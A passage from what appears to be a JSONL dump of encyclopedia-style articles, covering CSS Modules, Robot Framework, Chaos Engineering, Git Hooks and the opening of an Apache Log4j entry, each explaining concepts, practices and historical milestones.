Webpack's *css-loader*, it became possible to use one stylesheet file per component. Each component's folder contained its CSS and JS files. However, styles still had global scope. \n\nGlobal scope was partially solved by OOCSS, SMACSS, BEM, etc. **Block-Element-Modifier (BEM)** brought some modularity to CSS via a naming convention. It solved CSS specificity problem. However, class names were long and had to be named by developers. With CSS Modules, naming is taken care of by the build tools. During coding, developers use simpler and intuitive names. We can customize class names, including the use of BEM-style naming if desired. \n\n**CSS in JS** embeds CSS directly in a JS file. The CSS model is at component level rather than at document level. For example, in *JSS*, styling is defined as JS objects. In another library called *styled-components*, tagged template literals are used. Michele Bertoli has a curated comparison list of many CSS-in-JS techniques.\n\n\n### Isn't W3C standardizing CSS Modules?\n\nNo. CSS Modules is not a standard. It doesn't change the CSS specifications in any way. CSS definitions retain global scope but CSS Modules makes them \"behave locally\" by renaming them with unique names, which are then referenced by their components in HTML or JS. This is possible because of tooling support. \n\nBeginners may confuse CSS Modules with another concept called *CSS3 modules*. In June 2011, CSS2.1 became a W3C Recommendation. However, this process took 13 long years, mainly because the specification was a monolith. When work started on CSS3, it was therefore decided to split the specifications into separate modules. Each module can take its own path of standardization. These modules are not related to CSS Modules. \n\nA related concept is the use of *namespaces* in CSS. These refer to XML namespaces and how these can be used within CSS selectors. HTML `style` element has the `scoped` attribute for local scoping but this is now deprecated. \n\n\n### What are some criticisms of CSS Modules?\n\nIt's been said that CSS Modules does nothing more than automate class naming so as to avoid name collisions. Developers can still do wrong things without CSS Modules warning them about it. It's not clear if typo errors will be caught at compile time or runtime. You can't share constants across CSS and JS files. **TypeStyle** is one approach that solves some of these issues. It mimics CSS Modules pattern using JS objects. \n\nBack in 2016, one developer commented that CSS Modules is not ready for prime time. He mentions some limitations of using `@value` and `composes`. He states that using pseudo-selectors can be unreliable. \n\nThe use of camelCase that's not typical of CSS naming convention is seen as a limitation. While some frameworks may have plugins to solve some of these issues (such as *babel-plugin-react-css-modules*) it may prove difficult to make CSS Modules work with others. \n\n## Milestones\n\n2011\n\nFacebook releases a JavaScript library called **ReactJS**. The design approach is modular, with a web page being built from a hierarchy of UI components. Two years later the project is open sourced. \n\nApr  \n2012\n\nVersion 0.1.0 of **css-loader** for Webpack is released on NPM repository. This gives control over how CSS is loaded into a project. This becomes useful when CSS is used directly within a UI component implemented in JS. \n\n2014\n\nChristopher Chedeau, a frontend developer at Facebook, lists a number of problems with CSS at scale. He states that while JS recommends avoiding global variables, CSS still uses global names. Facebook initially solves many of the issues by extending CSS and later by using **inline styles**. Styles are specified as JS objects within UI components. Mixing content and styling might seem like a bad approach but every component encapsulates its own styling without relying on global variables. The common name for this approach is **CSS in JS**. \n\nApr  \n2015\n\nWebpack's css-loader starts supporting local scope with the use of `:local` switch. A month later some folks implement a module for PostCSS called **postcss-local-scope**, so that CSS styles are local by default even without using the switch. Only globals need to be explicitly specified with the `:global` switch. \n\nMay  \n2015\n\nThe PostCSS module postcss-local-scope gets integrated into css-loader of Webpack. Meanwhile, initial commit of **CSS Modules** happens on GitHub. \n\nJun  \n2015\n\nThe low-level file format that enables CSS Modules is specified separately as **Interoperable CSS (ICSS)**. This becomes the common format for module systems. The specifications is meant for loader implementers, not end users. Meanwhile, ICSS is implemented in loaders including css-loader (webpack), browersify, and jspm.","meta":{"title":"CSS Modules","href":"css-modules"}}
{"text":"# Robot Framework\n\n## Summary\n\n\nRobot Framework is a framework that automates acceptance testing and acceptance test-driven development. Being generic in nature, the framework can also be used to automate business processes, often called Robotic Process Automation (RPA). \n\nThe core of Robot Framework is written in Python but libraries extending it can be in Python or Java. The framework is independent of operating system and application. It's open source and is sponsored by the Robot Framework Foundation. \n\nTest cases in Robot Framework are written using keywords. Keywords themselves are abstracted away from their implementation. This promotes reuse of keywords across tests and easier maintenance of tests, particularly in large projects.\n\n## Discussion\n\n### What are the benefits of using Robot Framework?\n\nSince Robot Framework is keyword-driven, it has the benefit of separating high-level descriptions of tests from the low-level implementation details. Test writers may not be programmers. Since keywords are closer to English than programming, test writers find it easier to write and maintain tests. Keywords can be reused across tests. \n\nTests are easy to read since they often take a tabular form. In this form, the first column contains keywords. Other columns contain arguments to each keyword. For example, \"Create User\" is a keyword that takes username and password as arguments. When implemented, this can translate to launching a web browser, clicking a button, entering the data, and confirming the request to create a new user. \n\nKeywords are composable. This means that keywords themselves can depend on other keywords. This allows us to create tests at different levels of abstraction. \n\nSince implementation is kept separate, test cases can be developed agnostic of any programming language. Testing can be planned at an early stage even before any implementation is ready. \n\n\n### What are the main features of Robot Framework?\n\nWhile keyword-driven tests are common, Robot Framework can also be used to create data-driven and behaviour-driven tests. It can also be used for automating any business process, and thus not limited to testing. \n\nTest cases can be organized into test suites. Execution can be based on test suites, test cases, or tags, all of which can be specified by name or pattern. Test suites and test cases can have setup and teardown. \n\nThe framework produces neat reports and logs. It also allows for debugging. \n\nDevelopers can extend the framework with their own keywords and libraries. \n\nTest cases can be created in a single text file but they can also be created within the Robot Framework IDE (RIDE). Some popular IDEs can integrate with the framework including PyCharm, RED (Robot Editor) for Eclipse, and Robot Framework Intellisense for VS Code.\n\n\n### Could you list some built-in keywords used in Robot Framework?\n\nOnline documentation gives complete descriptions of all built-in keywords along with accepted arguments. We list a few of them: \n\n    + **Conditionals**: Keyword Should Exist, Length Should Be, Should Be Empty, Should Be Equal, Should Contain, Variable Should Exist\n    + **Control Flow**: Continue For Loop, Exit For Loop, Repeat Keyword, Return From Keyword\n    + **Conversions**: Convert to Binary, Convert to Boolean, Convert to Bytes, Convert to Integer\n    + **Executions**: Call Method, Evaluate, No Operation, Run Keyword\n    + **Library**: Get Library Instance, Import Library, Reload Library, Set Library Search Order\n    + **Logging**: Log, Log Many, Log To Console, Log Variables, Set Log Level, Set Test Message\n    + **String Operations**: Catenate, Should End With, Should Match, Should Match Regexp, Should Not Be Equal As Strings\n    + **Timing**: Get Time, Run Keyword If Timeout Occurred, Sleep, Wait Until Keyword Succeeds\n    + **Variables**: Get Variable Value, Import Variables, Set Global Variable, Set Suite Variable, Set Test Variable\n    + **Verdict**: Fail, Fatal Error, Pass Execution, Pass Execution If\n\n### Where does Robot Framework fit within a test automation architecture?\n\nThe job of the framework is to read and process data, execute test cases, and generate reports and logs. The core of the framework doesn't know anything about the system under test (SUT). Actual interaction with SUT is handled by various libraries. Libraries themselves rely on application interfaces or low-level test tools to interact with SUT. \n\nLet's take the example of testing a web application. Suppose Selenium is used for testing the application. Robot Framework doesn't directly control interactions with the web browser or databases. *SeleniumLibrary* and *DatabaseLibrary* are two libraries that manage these interactions. These libraries expose relevant keywords that can be used in test cases without worrying about how they are implemented. \n\n\n### Could you share some best practices when writing tests in Robot Framework?\n\nTest cases should be easy to understand. Use descriptive names for test suites and test cases. Likewise, keyword names should clear and descriptive. A common convention is to use title case for keywords. For example, use `Input Text` rather than `Input text`. For variables, use lowercase for local scope and uppercase for global scope. \n\nDocument each test suite. Describe the purpose of tests in that suite and the execution environment. Include links to external documents. At test case level, documentation may not be required. The use of suitable tags is often more useful. \n\nTests within a suite should be related. Don't have too many tests in a single file, unless they are data driven. Each test should be independent of others and should rely only on setup and teardown. Each test case should test something specific. A large test can possibly cover an end-to-end scenario. \n\nIf there are user-defined keywords, document the arguments and return values. Between keywords, assign return values to variables, and then pass these variables as arguments. \n\nAvoid sleeps. Instead, wait for an event with a timeout. \n\n\n### What are some useful resources and tools for Robot Framework?\n\nThe official Robot Framework website is a good starting point. Those new to writing tests, can study the examples there. The User Guide is another useful resource. \n\nBeginners should get familiar with some of the standard libraries including Builtin, OperatingSystem, String, Process, DateTime, Collections, Screenshot, and more. The framework has been extended by many third-party libraries. Choose what suits your application. There are libraries to interface or work with Android, Eclipse, databases, Selenium, Django, SSH, FTP, HTTP, MQTT, and more. \n\nAmong the useful tools are Rebot for generating logs and reports; Tidy for cleaning or formatting test data files; Libdoc and Testdoc for documentation. Pabot is a tool for parallel execution. Robot Corder can record and playback browser test automation. You can choose among various editors and build tools. There's also a Jupyter kernel. \n\n## Milestones\n\n2004\n\nAt the Helsinki University of Technology, Paul Laukkanen/Klärck starts looking into large-scale test automation frameworks. As part of his Master's thesis (published in 2006), he creates a **keyword-driven** prototype framework. \n\n2005\n\nNokia Networks is on the lookout for a generic test automation framework. Robot Framework is born based on Klärck's work.  \n\nJun  \n2008\n\nNokia Networks open sources Robot Framework with the release of version 2.0.  \n\nDec  \n2012\n\nVersion 1.0 of **Robot Framework IDE (RIDE)** is released on GitHub. RIDE simplifies the writing and execution of automated tests. Earlier version v0.40, also available on GitHub, can be traced to January 2012. Code before this was hosted at Google Code. \n\nDec  \n2015\n\nRobot Framework 3.0 is released. With this release, **Python 3** is supported. \n\nNov  \n2016\n\nStandard *ISO/IEC/IEEE 29119-5:2016, Part 5: Keyword-driven testing* is published. This underscores the growing importance of keyword-driven testing. \n\nJan  \n2018\n\nCalled **RoboCon**, the first annual Robot Framework Conference is organized in Helsinki, Finland.  \n\nDec  \n2018\n\nRobot Framework 3.1 is released. With this release, **Robotic Process Automation (RPA)** is supported. This means that the framework can be invoked to automate *tasks* and not just *tests*.","meta":{"title":"Robot Framework","href":"robot-framework"}}
{"text":"# Chaos Engineering\n\n## Summary\n\n\nDistributed software systems are an integral part of today's world. Many organizations such as Amazon and Netflix are serving billions of users through such distributed systems. These systems are inherently complex and chaotic. They have many interacting parts whose collective behaviour can be unpredictable. Moreover, frequent deployments add to the uncertainty. The most significant weaknesses should be addressed proactively, before they affect customers in production and lead to loss of revenue. \n\n**Chaos Engineering** addresses these challenges by injecting failures into the system in a controlled manner. We then observe how resilient is the system. Where we find significant flaws, we seek solutions. Chaos Engineering leads to more failure-resistant systems. \n\nIt's been said that, \n\n> Chaos Engineering is the discipline of experimenting on a system in order to build confidence in the system’s capability to withstand turbulent conditions in production.\n\n## Discussion\n\n### What's the context in which Chaos Engineering is relevant?\n\nIn a distributed system, even when each component is well-tested, there could be problems when these components come together. Distributed systems are by nature vulnerable to network connectivity issues of low bandwidth, high latency, packet loss or complete link failure. Each component can also fail in unexpected ways. It's hard to test for many real-world failures in a typical software development lifecycle. \n\nIt's possible to design a system to be fault tolerant. Even when one component fails, this should affect the system minimally. The system as a whole is designed to be better than the sum of its parts. But design alone isn't enough. We need to be confident that the system will perform despite failures. This is where Chaos Engineering becomes relevant. \n\nChaos Engineering starts by establishing normal steady state behaviour in terms of observable metrics. Then we inject failures in a controlled manner and record the same metrics. The hypothesis is that such failures don't affect the system. If the hypothesis fails, we know that we need to improve the system to handle those specific failures. \n\n\n### What are the principles of Chaos Engineering?\n\nThe main principles of Chaos Engineering are as follows:  \n\n    + **Build a Hypothesis around Steady State Behavior**: Measure system output over a short period of time. This is the steady state. It indicates normal behavior. Hypothesize that the steady state will continue during experiments. Steady state should be based on measurable output, not internal attributes of the system. Throughput, error rates, latency percentiles, etc. could be metrics that define steady state behavior.\n    + **Vary Real-world Events**: Inject real-world events such as server crashes, malformed responses, or traffic spikes. Observe what happens. Compare against the steady state. Any deviation disproves the hypothesis.\n    + **Run Experiments in Production**: Prefer to experiment directly in production. This ensures authenticity and relevance of the currently deployed system.\n    + **Automate Experiments to Run Continuously**: Running experiments manually is unsustainable. Automate the process.\n    + **Minimize Blast Radius**: Ideally, experiments shouldn't affect customers. At least, minimize the negative impact on customers.\n\n### Could you share more details into implementing Chaos Engineering?\n\nAmazon uses number of orders as a metric since they found that page load times affect this metric . Netflix uses the number of times a user clicks play, which is affected by system failures. Given that metrics are central to Chaos Engineering, they should be easy to measure, report and visualize. \n\nWhen metrics show problems, monitor how long it took to notice the problem, notify engineers, and do self-recovery. Do a post-mortem of every problem: what happened, what was the impact, why it occurred, and how to prevent it. Prioritize fixing these problems over developing new features. \n\nExperiments could inject complete failures or affect performance in any component. Terminate the recommendation engine, the caching service or the load balancer. Increase inter-service latency or packet drops. Failures can even be at the UI layer. If a UI widget fails to load, do the other widgets expand to fill up the extra space? Get the whole team involved since each one is likely to propose a different type of experiment. Study the specifications to identify possible experiments. \n\n\n### What are some myths about Chaos Engineering?\n\nThe following will describe and dispel some myths about Chaos Engineering:  \n\n    + **Chaos**: It's not about introducing chaos. Experiments are done in a controlled manner. Engineers select which systems should be affected and to what extent. They monitor continuously. If customers get affected, the experiment is stopped.\n    + **Reliability**: Apart from adding new features, developers also care about reliability. Developers perform unit testing. Chaos Engineering complements their efforts by finding problems in real-world scenarios. But it's not about testing in production. We expect well-tested systems to come into production.\n    + **Tooling**: Chaos Engineering doesn't require any specialized hardware/software tools. In most cases, access to the host OS or containers is adequate.\n    + **Observability**: Basic metrics can suffice, often readily available in cloud platforms. We don't need to wait to implement complex metrics collection.\n    + **Scale**: Chaos Engineering is not just for large distributed systems. It could be applied to even monoliths that need to be understood better.\n    + **ROI**: Teams need to invest time upfront but this is worthwhile. It saves time later by minimizing production outages and troubleshooting. Chaos Engineering gives insights into optimal use of resources, increase productivity, and grow the business.\n\n### What is Chaos Monkey?\n\nChaos Monkey is a software tool developed at Netflix that randomly simulates failures of production instances. In the world of microservices, it should be possible to lose an instance, and replace that with another instance without loss of application functionality or consistency. Instances are meant to be stateless; that is, they don't store data. Depending on the traffic load, instances are meant to be created and destroyed at will. Chaos Monkey validates this capability. \n\nImagine a wild weaponized monkey \"randomly shooting down instances and chewing through cables.\" This is where we get the name Chaos Monkey. In the early years of Netflix, it was common practice to run Chaos Monkey during business hours, monitor for changes and identify weaknesses. This led to better auto-recovery mechanisms.  \n\nThe myth that Chaos Engineering breaks things in production comes from the early use of Chaos Monkey. Today, we have many more tools to exercise Chaos Engineering. The randomness of Chaos Monkey is a useful starting point when the system's a black box. With better knowledge of how the system works, more fine-grained and controlled experiments can be done. \n\n\n### What is the Simian Army and what are its different members?\n\nThe Simian Army is a suite of failure-inducing tools designed to add more functionalities beyond Chaos Monkey. Some tools inject failures while others take proactive actions to avoid future failures. Its members include: \n\n    + **Latency Monkey**: It causes artificial delays or even service shutdowns in RESTful client-server communications.\n    + **Conformity Monkey**: It finds out instances that don't adhere to predefined rule sets and shuts them down.\n    + **Doctor Monkey**: It performs health checks (CPU load, memory usage, etc.) to detect unhealthy instances and removes them.\n    + **Janitor Monkey**: It ensures that the cloud environment is running free of clutter and waste.\n    + **Security Monkey**: It finds security violations or vulnerabilities and terminates the violating instances.\n    + **10–18 Monkey**: It detects configurations and runtime problems in instances that are accessible across multiple geographic regions, involving multiple languages and character sets.\n    + **Chaos Gorilla**: It simulates an outage of an entire AWS availability zone. Services should automatically rebalance to the other active availability zones.\n    + **Chaos Kong**: It simulates region outages. An AWS Region has multiple availability zones.\n\n### What are the benefits of Chaos Engineering?\n\nChaos Engineering has different benefits depending on the perspective: \n\n    + **Customer**: Chaos Engineering predicts or prevents failures before they happen. This results in increased availability and durability of services.\n    + **Business**: Chaos Engineering helps in preventing extremely large losses in revenue and maintenance costs, which can occur due to failures in production hours of businesses.\n    + **Technical**: The insights from experiments help reduce incidents, increase understanding of system failure modes, improve system design and detect high-severity incidents faster.A 2021 study reported that increased availability, lower mean time to resolution (MTTR), lower mean time to detection (MTTD), fewer bugs in production, and fewer outages are some of the benefits. Those who practise Chaos Engineering can achieve more than 99.9% service availability. \n\nIn 2015, Amazon’s DynamoDB service experienced an availability issue in their US-EAST-1 region. This issue caused many other additional AWS services to fail. It resulted in the unavailability of some of Internet's biggest sites and applications. However, Netflix services were affected only in a minor way, thanks to their Chaos Engineering practices. \n\n\n### Beyond Netflix, how has the industry adopted chaos engineering?\n\nIn 2019, a DevOps and Cloud InfoQ Trends report showed that chaos engineering was emerging from the \"innovator adoption\" stage to the \"early adoption\" stage. The primary adopters of chaos engineering have been e-commerce and big tech. Downtime directly impacts revenue in e-commerce. Big tech is about better returns from better reliability. \n\nBy 2020, many businesses from large financial institutions to health care organizations were adopting Chaos Engineering in their culture. Big organizations such as Uber, JP Morgan Chase and GrubHub have also adopted chaos engineering to maximize their service quality. \n\nSingapore's DBS Bank tried out tools Pumba, Toxiproxy and Vizceral. Their approach was to do Chaos Engineering in non-production environments and collect only metrics in production. They still got many insights and made their applications more fault tolerant. They applied Chaos Engineering across the entire software development lifecycle. \n\n\n### What are some best practices in Chaos Engineering?\n\nBefore starting on Chaos Engineering, design the system to be resilient at many levels: infrastructure, networking, data, application, people and culture. Adopt architectural patterns to achieve this. Three techniques adopted at Netflix are timeouts, retries and fallbacks. \n\nWhen proposing a hypothesis, start with what you know and what you understand. Then move towards what you don't know and don't understand. A useful question to ask is, \"What could go wrong?\" Inject only one failure at the time.\n\nA company can have a dedicated Chaos Engineering team of 2-5 engineers. But Chaos Engineering is not the responsibility of this team alone. It's been observed that some teams are quick to embrace it: Traffic Team (e.g. Nginx, Apache, DNS), Streaming Team (e.g. Kafka), Storage Team (e.g. S3), Data Team (e.g. Hadoop/HDFS), and Database Team (e.g. MySQL, Amazon RDS, PostgreSQL). \n\n## Milestones\n\n2000\n\nIn the early part of this decade, Amazon creates a program named *GameDay*. Its purpose is to inject failures into critical systems, and then use monitoring tools and alerts to obtain greater insight into how well Amazon's retail website responds to these failures. GameDay brings out architectural flaws and other defects. While initially successful, the program is later halted due to its impact on customer-facing services. \n\n2010\n\nNetflix Engineering Team creates **Chaos Monkey**. It's created in response to Netflix's move from physical infrastructure to AWS cloud infrastructure. Chaos Monkey is meant to test the capability that the loss of an instance doesn't affect the Netflix streaming experience. Chaos Monkey has its limitations. It requires Spinnaker and MySQL. It lacks recovery capabilities and a user inteface. \n\n2011\n\nAfter the success of Chaos Monkey, Netflix Engineering team develops **Simian Army**. The Simian Army adds additional failure injection modes allowing developers to test the system with different failures. In 2012, Netflix makes Chaos Monkey publicly available by sharing its source code on Github. \n\n2014\n\nNetflix decides to create a new role in organization: **the Chaos Engineer**. Bruce Wong coins the term and Dan Woods shares it with the greater engineering community via Twitter. In October, Netflix shares in blog post that they're using an internal solution called **Failure Injection Testing (FIT)**. FIT allows engineers to break things but control with precision the impact. \n\n2016\n\nKolton Andrus and Matthew Fornaciari establishes *Gremlin*, the world's first **managed enterprise Chaos Engineering solution**. Gremlin becomes publicly available in late 2017 with multiple failure injection modes. \n\nOct  \n2016\n\nAt the *IEEE International Symposium on Software Reliability Engineering*, Netflix engineers present their internal platform that automates chaos experiments. They call it **Chaos Automated Platform (ChAP)**. It improves on FIT by routing traffic between control and experimental clusters. These clusters are created with the same configuration as production clusters. Changes in metrics are more easily observed and compared. Complex experiments can be conducted without impacting customers.  \n\n2018\n\nGremlin launches *Chaos Conf*, world's **first large-scale conference** on Chaos Engineering. \n\n2020\n\nAmazon Web Services (AWS) adds Chaos Engineering to the reliability pillar of the AWS Well-Architected Framework (WAF). AWS announces Fault Injection Simulator (FIS), a fully managed service for natively running chaos experiments on AWS services. \n\n2021\n\nGremlin publishes the first ever *State of Chaos Engineering* report that shows how the practice of Chaos Engineering has grown among organizations, key benefits of Chaos Engineering, how often top performing teams run chaos experiments, and more.","meta":{"title":"Chaos Engineering","href":"chaos-engineering"}}
{"text":"# Git Hooks\n\n## Summary\n\n\nHooks in Git are **executable scripts** that are triggered when certain events happen in Git. It's a way to customize Git's internal behaviour, automate tasks, enforce policies, and bring consistency across the team. \n\nFor example, hooks can check that passwords or access tokens are not committed, validate that commit messages conform to an agreed format, prevent unauthorized developers from pushing to a branch, update local directories after a checkout, and so on.\n\nGit supports both client-side and server-side hooks. Hooks can be written in any programming language though it's common to use Bash, Perl, Python or Ruby.\n\n## Discussion\n\n### What use cases can benefit from Git Hooks?\n\nThe figure illustrates local add/commit followed by a push to the remote repository. Also shown are the relevant hooks. Each hook is given a specific name. Hooks are invoked **by naming convention** before or after specific events.\n\nThe `pre-commit` hook is called when the commit procedure begins. This hook can format the code against the project's styling guide, run linting or execute unit tests. By checking for missing semicolons, trailing whitespace, and debug statements code reviews can focus on more important issues.  Hooks `prepare-commit-msg` and `commit-msg` can be used to format/validate the commit message. \n\nAfter a successful commit, the hook `post-commit` could be used to send notifications. More commonly, when collaboration is via a remote repository, notifications are sent from the `post-receive` hook that's triggered after all references are updated. This hook can also deploy the latest changes to production.  The `update` hook that runs once per branch can be used to enforce access control, that is, only authorized users can push to a branch. \n\n\n### What are client-side and server-side hooks?\n\nClient-side hooks run on developer machines whereas server-side hooks run on the server that hosts the repository. Committing, merging, rebasing, applying patches, and checkout are common Git operations that developers do on their development machines. Any of these commands can trigger their relevant client-side hooks. Server-side hooks are triggered by the `git-receive-pack` command, which is a result of developers pushing changes to the remote repository on a cloud-hosted Git server. \n\nDevelopers have full control of client-side hooks. Developers can choose to disable all client-side hooks if they wish. If a project's best practices need to be strictly enforced, server-side hooks are the way to do it. \n\nSome Git repository providers impose restrictions on the use of server-side hooks on their cloud-based servers. For example, GitHub's free tier doesn't allow developers to define server-side hooks though GitHub Enterprise Server supports them. However, there are alternatives to achieve server-side automation such as webhooks, GitHub Apps/Actions, GitLab CI/CD, GitLab push rules, etc. \n\n\n### What are pre- and post- Git Hooks?\n\nClient-side and server-side hooks can be either `pre-` and `post-` hooks. The `pre-` hooks can be used to validate stuff before allowing the requested operation. For example, `pre-commit` hook executes at the start of a commit workflow. If the commit is deemed invalid for any reason, the hook can return a non-zero value. This terminates the commit operation. By returning zero, the hook states that the commit operation can continue, including the execution of other relevant hooks. \n\nThe `post-` hooks execute after the requested operation is done. Such a hook's return value doesn't matter since the operation is already complete.  For example, `post-commit` executes after a successful commit. These hooks are typically used to send emails or other notifications. They may also be used to trigger CI/CD pipelines. For example, `post-receive` could be used to deploy the updated code to production. \n\n\n### What options help skip the execution of hooks?\n\nIt's possible to skip some hooks if their associated commands are called with certain options. Hooks `pre-commit`, `pre-merge-commit`, `prepare-commit-msg`, and `commit-msg` can be skipped if `commit` and `merge` commands are invoked with `--no-verify` option. \n\nThe hook `post-checkout` can be skipped if `clone` and `worktree add` commands are called with `--no-checkout` option. However, this hook is always called for `checkout` and `switch` commands. \n\n\n### What essentials should a developer know to use Git Hooks?\n\nBy default, hooks are stored in `.git/hooks` within the project's repository. Git populates this folder with sample scripts that developers can use as a starting point. However, the file suffix `.sample` must be removed and scripts must be made executable. Developers can rewrite the scripts in their preferred language. Accordingly, the shebang (`#!` first line in script) must be updated with the correct path to the language. \n\nIf these sample scripts are deleted by mistake, we can retrieve them from Git templates folder. This may be `/usr/local/git-core/templates/hooks` (Linux) or `C:\\Program Files\\Git\\mingw64\\share\\git-core\\templates\\hooks` (Windows). In fact, this copying from templates folder to the project's `.git/` folder is what happens when we run `git init`.  \n\nWhile hooks are triggered in response to specific events, we can also manually trigger the execution of a hook. The command for this is `git hook run <hook-name> <hook-args>`. For example, we could trigger one hook from another hook. This command is a low-level internal helper command. \n\nBeginners can start by reading the official documentation on Git Hooks and Chapter 14 of Loeliger's book on Git. \n\n\n### What does it take to create and maintain reusable Git Hooks?\n\nIt's a good practice to commit hooks as part of the repository so that all developers reuse and execute the same hooks. However, it's not permitted to store them within a `.git/hooks` folder within the repository. One approach is store them in another folder, say `hooks`, and then create a soft link from `.git/hooks` to `hooks` folder after cloning the repository. Another approach is to configure the path to the hooks with the command `git config core.hooksPath <path>`. \n\nTo reuse across projects, hooks can be in a separate repository and cloned locally. Configure the hooks path globally to that folder: `git config --global core.hooksPath <path>`. This configuration variable has been available since Git version 2.9.0. \n\nThere's also a framework named pre-commit to manage pre-commit hooks. This framework includes dozens of tested pre-commit hooks written in Python that developers can reuse in their own projects. These include syntax checking (`check-json`, `check-yaml`), fixing problems (`fix-byte-order-marker`, `trailing-whitespace`), protecting secrets (`detect-private-key`, `detect-aws-credentials`), enforcing policies (`no-commit-to-branch`, `forbid-new-submodules`), and more. \n\nThe githooks.com lists many useful hooks and related tools that developers can use.\n\n\n### How do I configure my project environment to use Git Hooks?\n\nNo special configuration is needed other than updating `.git/hooks` folder or configuring `core.hooksPath` variable. However, many developer tools attempt to simplify this further.\n\nIn Maven, a plugin can setup the hooks path. In Gradle, we can have a dependent build script to do this setup. In Node.js, Husky project allows us to wire up all the hooks in the `package.json` file. In PHP, hooks can be set up in `composer.json` file via the `post-install-cmd` configuration. \n\nIn different languages, frameworks are available to manage hooks: pre-commit (Python), Overcommit (Ruby), Lefthook (Ruby or Node.js). \n\n\n### What are some criticisms of Git Hooks?\n\nHooks change Git's default behaviour. If a hook does something unusual, it may confuse developers new to the project. Moreover, hooks can be buggy and make things counterproductive. For this reason, some recommend using Git aliases and invoking scripts directly rather than relying on hooks. \n\nGit doesn't provide any easy mechanism to share hooks among developers or from one repository to another. No doubt this is more secure but at the expense of convenience and reusability. Hooks problem with installation, maintainability, and reusability is to some extent solved by frameworks such as *pre-commit*. \n\nHooks are powerful. Developers may be tempted to run unit tests before each commit. This can slow things quite a bit and discourage developers from committing often. This can lead to data loss. \n\nServer-side hooks are not universally enabled by cloud-hosted Git repository service providers. \n\n## Milestones\n\n2005\n\nLinus Torvalds creates Git as a replacement to BitKeeper that's a distributed version control system. Even in Git v1.0.0 (December), **hooks** are included as a feature. \n\nMar  \n2007\n\nHook `post-receive` is introduced to replace `post-update`. The latter is expected to be deprecated from v1.6.0. The hook `post-receive` is more useful since it has access to both old and new references; `post-update` knows only the new references. \n\nSep  \n2007\n\nGit 1.5.4 is released. In this release, `git merge` command calls the `post-merge` hook following a successful merge.  \n\nFeb  \n2008\n\nGit 1.6.0 is released. This release ships sample hook scripts with the **suffix** `.sample` since on some filesystems it's not sufficient to ship them as non-executables. In Windows, all scripts are executable by default. Developers can rename the scripts if they wish to enable the hooks. \n\nDec  \n2008\n\nGit 1.6.1 is released. In this release, `git rebase` command when used without the `--no-verify` option calls the `pre-rebase` hook. This hook can be used to prevent the rebasing of a branch. \n\nMay  \n2009\n\nGit 1.6.3 is released.  In this release, `git clone` command when used without the `--no-checkout` option calls the `post-checkout` hook. This hook is normally called after an update to the worktree, such as with the `git checkout` command. \n\nDec  \n2014\n\nA **critical vulnerability** is discovered pertaining to Git hooks. Usually it's not possible to create a top-level folder named `.git` in a repository. However, in case-sensitive filesystems it's possible to create a folder named `.GIT`, `.Git`, etc. In Windows, which is case-insensitive, such a folder overwrites the default `.git` folder. By including malicious hooks, a hacker could execute arbitrary code on the client's machine. This threat is greatest for developers using third party or untrusted repositories. This vulnerability is patched within a week. \n\nApr  \n2015\n\nGit 2.4.0 is released. This release adds a new server-side hook named `push-to-checkout`. By default, pushes to checked out branch would fail. With this hook, we can customize the behaviour by merging with or overwriting server-side changes. \n\nApr  \n2016\n\n**GitHub Enterprise Server 2.6** is released. This includes the `pre-receive` server-side hook that can be used to enforce push policies and optimize workflows. However, GitHub has included server-side hooks since 2013, it's first hook tasked with warning users when a repository is renamed. \n\nJun  \n2016\n\nGit 2.9.0 is released. The hooks directory can now be configured via the `core.hooksPath` configuration variable. \n\nNov  \n2019\n\nGit 2.24.0 is released. This release adds a new hook named `pre-merge-commit`. This hook is called after a successful merge but before obtaining the commit message. It can be bypassed with `--no-verify` option to the merge command. \n\nFeb  \n2022\n\nOn GitHub, it's noticed that pushes to repositories can take as long as 880ms on average. The implementation is in Ruby. A lot of time is spent loading Ruby dependencies. By rewriting the hook as a Go service, average processing time is brought down to 10ms. This improvement also becomes part of GitHub Enterprise Server 3.4.","meta":{"title":"Git Hooks","href":"git-hooks"}}
{"text":"# Apache Log4j\n\n## Summary\n\n\nApache Log4j is a logging framework for Java. A Java application can use Log4j to log important events during the course of its lifetime. The logs are later used for tracing application behaviour or performing audits. Unlike debugging an application using debuggers, log generation requires no user intervention apart from the initial calls to the logger API. Logs generated from production deployments give lot of useful context. Logs are a permanent record of what happened unlike debugging sessions that are transient. \n\nLog4j is an open-source project managed by the Apache Software Foundation. Log4j 1.x is incompatible with Log4j 2. The latter has better design and richer features. \n\nGUI-based tools are available to view and analyze Log4j logs. Log4j has inspired logging solutions in other languages.\n\n## Discussion\n\n### What's the architecture of Log4j?\n\n`Logger` class is the starting point. Applications use the `LogManager` to return a logger object with a specific `LoggingContext`. If such a logger doesn't exist, it's created. \n\nEvery logger has a `LoggerConfig`. These config objects are initialized from configuration files. LoggerConfig has a class hierarchy, that is, one config class can inherit from another. \n\nA LoggerConfig object is associated with one or more `Appender` objects that actually deliver log events. For example, a logger can log to both the console and to a file. Among the appender types are ConsoleAppender, FileAppender, RollingFileAppender, AsyncAppender, SocketAppender, SMTPAppender, and many more.  Because config objects have a hierarchy, events will be sent to appenders of parent classes as well. \n\nEach appender can be configured to log messages in a specific format. Such formatting is the job of the `Layout` class. \n\nA LoggerConfig object is associated with a log level. Levels enable automatic filtering of events. In addition, `Filter` objects can be applied to LoggerConfig objects and Appender objects. Filters give more flexibility at runtime. Only those events that pass the filters are send to appenders. \n\n\n### What are the essential features of Log4j?\n\nLog4j separates its API from implementations. Hence, applications can swap implementations while the code consistently calls Log4j API. \n\nAn application typically has many packages, classes, and methods. Log4j allows us to configure logging for each component separately. However, to save work on managing many configurations, configurations can be inherited and hence reused. Thus, `X.Y.Z` inherits and overrides some configuration from `X.Y`. \n\nLog4j has log levels to control the scope of logging. Developers can also define custom levels. Likewise, custom Message types, Layouts, Filters and Lookups can be created. Because of a plugin architecture, Log4j is easily extensible. \n\nLog4j has built-in support for JMX. Many parts of the Log4j system can be locally or remotely monitored and controlled. \n\nFor better performance, Log4j supports asynchronous logging. It does garbage-free or low garbage logging so that pressure on garbage collector is relieved. For better concurrency, it locks resources at the lowest possible level. Log4j won't lose events when appenders are reconfigured. Hence, it can be also be used for audit logging. \n\n\n### What log levels are available in Log4j?\n\nA log level is assigned to a `LoggerConfig` object. If not, the object inherits the level from one of its ancestors along the class hierarchy. Log4j defines the following built-in levels: ALL (Integer.MAX\\_VALUE), TRACE (600), DEBUG (500), INFO (400), WARN (300), ERROR (200), FATAL (100), and OFF (0). Applications can also define custom levels. Levels OFF and ALL are not generally used in API calls. \n\nEvery event is 